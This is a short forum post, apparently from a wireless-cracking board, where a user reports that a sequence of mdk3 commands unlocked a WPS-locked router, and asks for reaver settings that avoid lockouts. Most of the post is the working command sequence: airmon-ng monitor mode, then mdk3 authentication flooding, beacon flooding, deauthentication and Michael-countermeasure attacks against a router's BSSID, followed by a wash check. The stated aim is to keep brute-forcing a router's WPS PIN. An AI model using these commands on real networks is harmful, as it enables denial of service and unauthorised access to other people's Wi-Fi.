Wow!
This actually works.
I had a locked router and the commands from the first post unlocked it (and moved it to a different channel).
These commands worked for me in this order:
Monitor mode:
airmon-ng start wlan1 [or whatever your wlan is]
Mdk3:
sudo mdk3 mon0 a -a 00:11:22:33:44:55 -m
sudo mdk3 mon0 b -a 00:11:22:33:44:55 -n " name_of_AP" -h -c [no of channel]
sudo mdk3 mon0 d -a 00:11:22:33:44:55 -c [no of channel]
sudo mdk3 mon0 m -t 00:11:22:33:44:55
Then test with:
sudo wash -i mon0 -C
Thanks so much soxrox!
The next question is: what are the optimal settings for preventing routers from locking in the first place.
Here is one idea - see the very last paragraph (
http://sethioz.com/mediawiki/index.p...PA/WPA2/WEP%29) but there must be other suggestions.
What I am looking for is a series of reaver options based on people's experiences that reduce the liklihood of a lockout.
